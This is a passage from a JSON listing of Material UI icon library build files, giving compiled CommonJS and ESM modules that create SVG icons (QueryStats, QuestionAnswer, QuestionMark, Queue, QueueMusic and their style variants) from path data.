2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.08 5.01c-.36.58-1.17.64-1.61.13l-2.12-2.47-3.06 4.9c-.31.49-.97.62-1.44.28-.42-.31-.54-.89-.26-1.34l3.78-6.05c.36-.57 1.17-.63 1.61-.12L9 12.5l3.18-5.17c.38-.62 1.28-.64 1.68-.03zm2.59.5c-.64-.28-1.33-.45-2.05-.49L20.8 2.9c.31-.49.97-.61 1.43-.27.43.31.54.9.26 1.34z\"\n}), 'QueryStatsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.88 18.47c.48-.77.75-1.67.69-2.66-.13-2.15-1.84-3.97-3.97-4.2-2.72-.3-5.02 1.81-5.02 4.47 0 2.49 2.01 4.5 4.49 4.5.88 0 1.7-.26 2.39-.7l2.41 2.41c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.08 5.01c-.36.58-1.17.64-1.61.13l-2.12-2.47-3.06 4.9c-.31.49-.97.62-1.44.28-.42-.31-.54-.89-.26-1.34l3.78-6.05c.36-.57 1.17-.63 1.61-.12L9 12.5l3.18-5.17c.38-.62 1.28-.64 1.68-.03zm2.59.5c-.64-.28-1.33-.45-2.05-.49L20.8 2.9c.31-.49.97-.61 1.43-.27.43.31.54.9.26 1.34z\"\n}), 'QueryStatsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1\"\n}), 'QuestionAnswer');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1\"\n}), 'QuestionAnswer');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v7H5.17l-.59.59-.58.58V4zm1-2H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m5 4h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1\"\n}), 'QuestionAnswerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v7H5.17l-.59.59-.58.58V4zm1-2H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m5 4h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1\"\n}), 'QuestionAnswerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-1v8c0 .55-.45 1-1 1H6v1c0 1.1.9 2 2 2h10l4 4V8c0-1.1-.9-2-2-2m-3 5V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13l4-4h9c1.1 0 2-.9 2-2\"\n}), 'QuestionAnswerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-1v8c0 .55-.45 1-1 1H6v1c0 1.1.9 2 2 2h10l4 4V8c0-1.1-.9-2-2-2m-3 5V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13l4-4h9c1.1 0 2-.9 2-2\"\n}), 'QuestionAnswerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-3v9H6v3h12l4 4zm-5 7V2H2v15l4-4z\"\n}), 'QuestionAnswerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-3v9H6v3h12l4 4zm-5 7V2H2v15l4-4z\"\n}), 'QuestionAnswerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V4H4v8.17l.59-.58.58-.59H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-5 7c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4zM4.59 11.59l-.59.58V4h11v7H5.17z\"\n}, \"1\")], 'QuestionAnswerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionAnswerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V4H4v8.17l.59-.58.58-.59H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-5 7c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4zM4.59 11.59l-.59.58V4h11v7H5.17z\"\n}, \"1\")], 'QuestionAnswerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMark.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMark');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMark.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMark');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.92 7.54c-.8-.34-1.14-1.33-.66-2.05C8.23 4.05 9.85 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.15.27-.24.49-.3.94-.09.73-.69 1.3-1.43 1.3-.87 0-1.58-.75-1.48-1.62.06-.51.18-1.04.46-1.54.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.17 0-1.93.61-2.4 1.34-.35.57-1.08.75-1.69.5M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.92 7.54c-.8-.34-1.14-1.33-.66-2.05C8.23 4.05 9.85 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.15.27-.24.49-.3.94-.09.73-.69 1.3-1.43 1.3-.87 0-1.58-.75-1.48-1.62.06-.51.18-1.04.46-1.54.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.17 0-1.93.61-2.4 1.34-.35.57-1.08.75-1.69.5M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QuestionMarkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 12.85c.77-1.39 2.25-2.21 3.11-3.44.91-1.29.4-3.7-2.18-3.7-1.69 0-2.52 1.28-2.87 2.34L6.54 6.96C7.25 4.83 9.18 3 11.99 3c2.35 0 3.96 1.07 4.78 2.41.7 1.15 1.11 3.3.03 4.9-1.2 1.77-2.35 2.31-2.97 3.45-.25.46-.35.76-.35 2.24h-2.89c-.01-.78-.13-2.05.48-3.15M14 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'QuestionMarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Queue.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'Queue');"
  },
  {
    "path": "packages/mui-icons-material/lib/Queue.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'Queue');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6H3v2h12zm0 4H3v2h12zM3 16h8v-2H3zM17 6v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6z\"\n}), 'QueueMusic');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6H3v2h12zm0 4H3v2h12zM3 16h8v-2H3zM17 6v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3V6z\"\n}), 'QueueMusic');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-5v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3zm-7 0H3v2h12zm0 4H3v2h12zm-4 4H3v2h8z\"\n}), 'QueueMusicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-5v8.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V8h3zm-7 0H3v2h12zm0 4H3v2h12zm-4 4H3v2h8z\"\n}), 'QueueMusicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0 4H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M4 16h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M19 6c-1.1 0-2 .9-2 2v6.18c-.31-.11-.65-.18-1-.18-1.84 0-3.28 1.64-2.95 3.54.21 1.21 1.2 2.2 2.41 2.41 1.9.33 3.54-1.11 3.54-2.95V8h2c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'QueueMusicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueueMusicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0 4H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M4 16h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M19 6c-1.1 0-2 .9-2 2v6.18c-.31-.11-.65-.18-1-.18-1.84 0-3.28 1.64-2.95 3.54.21 1.21 1.2 2.2 2.41 2.41 1.9.33 3.54-1.11 3.54-2.95V8h2c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'QueueMusicRounded');"
  },
  {
